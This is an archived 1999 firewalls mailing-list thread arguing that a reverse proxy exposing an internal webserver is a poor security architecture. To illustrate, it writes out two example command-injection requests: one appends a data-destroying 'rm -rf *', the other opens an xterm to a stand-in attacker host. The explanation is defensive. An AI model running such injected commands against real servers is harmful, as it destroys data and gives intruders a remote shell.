Sorry--one month off. It's in the _January_ archives:
http://www.nfr.net/firewall-wizards/mail-archive/1999/Jan/
A web proxy server facilitates a direct connection between a user and the
end system--it passes whatever data the user gives it to the back-end
system as if the user connected to the back-end system and sent the data
himself. Also, the response to an http request doesn't have a structured
form: the data returned by the webserver could be an image file, html,
text, a word document, etc. These facts make this a dangerous
situation. It wouldn't be as bad if the requests and responses were of
a very structured form and were sanity-checked before being issued.
To clarify, since all the proxy server is doing is sending to the back-end
webserver the exact request that a user would have sent to it
direclty _and_ then sends the exact response back to the user that he
would have gotten, the proxy is not providing any security over just
getting rid of the DMZ and the proxy and letting Internet users issue
requests directly to the webserver on your internal LAN (i.e. it's
essentially letting users connect to the webserver and issue request
directly). As an example, if I hand you a bucket of water and you act on
my behalf to dump that into a swimming pool, that is equivalent to me
dumping the water into the swimming pool myself. Now, what if I hand you
a bucket of motor oil? You'll happily dump it into the swimming pool on
my behalf. What you need is something that can look at what's in the
bucket and only allow water into the swimming pool. A dumb http proxy
won't do that for you. You'll end up with a swimming pool full of oil!
Back to reality--so what happens when a user makes a request to a cgi
script on the webserver that will exploit a buffer overflow? The proxy
server happily sends the request to the webserver and *boom*, there is now
a shell running on the webserver on your _internal_ LAN. The user can now
take his time faking http requests that actually issue commands on
the command line like:
GET http://owned.example.com/; rm -rf *
OR
GET http://owned.example.com/; DISPLAY=attacker.example.net:0; xterm&
I don't think that there is any compelling reason to keep the webserver
on your internal LAN. There _is_ a reason to keep it in the DMZ: to
contain attackers in the event that the webserver gets compromised.
I've talked to Steve Bellovin about this and many other security
professionals who all agree that it is a bad architecture.
I'd be happy to discuss this further as I've been knee-deep in this issue
myself :-)
-Jason
On Thu, 20 May 1999, Ben Nagy wrote:
> Date: Thu, 20 May 1999 10:14:15 +0930
> From: Ben Nagy <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED]
> Subject: RE: Reverse proxy
>
> Uhh...you've lost me.
>
> I mean I'm happy to agree that any external access to devices that are on
> the inside LAN is not ideal, but why is it that a reverse proxy "allows
> users to connect directly to internal hosts"? Isn't this a little bit like
> the question we had before where the design was to use DMZ WWW proxies to
> access a database farm (which you obviously don't want in the DMZ)?
>
> At the end of the day, if there is a reason that you need to keep that
> webserver inside your LAN (maybe because it has other services open, or
> because it is set up so that local users can modify it with another TCP
> based service) then IMO a reverse proxy is a pretty reasonable way to do
> things.
>
> Couldn't find the thread you referenced, BTW. Mebbe you could fwd it to me
> offline?
>
> Cheers,
>
> --
> Ben Nagy
> Network Consultant, CPM&S Group of Companies
> Direct Dial: (08) 8422 8319 Mobile: (0414) 411 520
> -----Original Message-----
> From: Jason Axley [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, May 19, 1999 12:23 AM
> To: christian ALT (span)
> Cc: [EMAIL PROTECTED]
> Subject: Re: Reverse proxy
>
> Reverse-proxy situations are not good architectures because they
> essentially allow users to connect directly to internal hosts. Users then
> bypass the DMZ-type network entirely so if the webserver they are
> accessing gets compromised, it's game over--the attacker is now not
> confined to a DMZ-type network but is on your internal LAN! Fun, fun,
> fun.
>
> See the February 1999 firewall-wizards mailing list for some good
> discussion of this topic.
> http://www.nfr.net/firewall-wizards/mail-archive/1999/Feb
>
> -Jason
>
> On Tue, 18 May 1999, christian ALT (span) wrote:
>
> > Date: Tue, 18 May 1999 15:41:03 +0200
> > From: "christian ALT (span)" <[EMAIL PROTECTED]>
> > To: [EMAIL PROTECTED]
> > Subject: Reverse proxy
> >
>
> [NON-Text Body part not included]
>
>
>
> AT&T Wireless Services
> IT Security
> UNIX Security Operations Specialist
>
> -
> [To unsubscribe, send mail to [EMAIL PROTECTED] with
> "unsubscribe firewalls" in the body of the message.]
> -
> [To unsubscribe, send mail to [EMAIL PROTECTED] with
> "unsubscribe firewalls" in the body of the message.]
>
AT&T Wireless Services
IT Security
UNIX Security Operations Specialist
-
[To unsubscribe, send mail to [EMAIL PROTECTED] with
"unsubscribe firewalls" in the body of the message.]
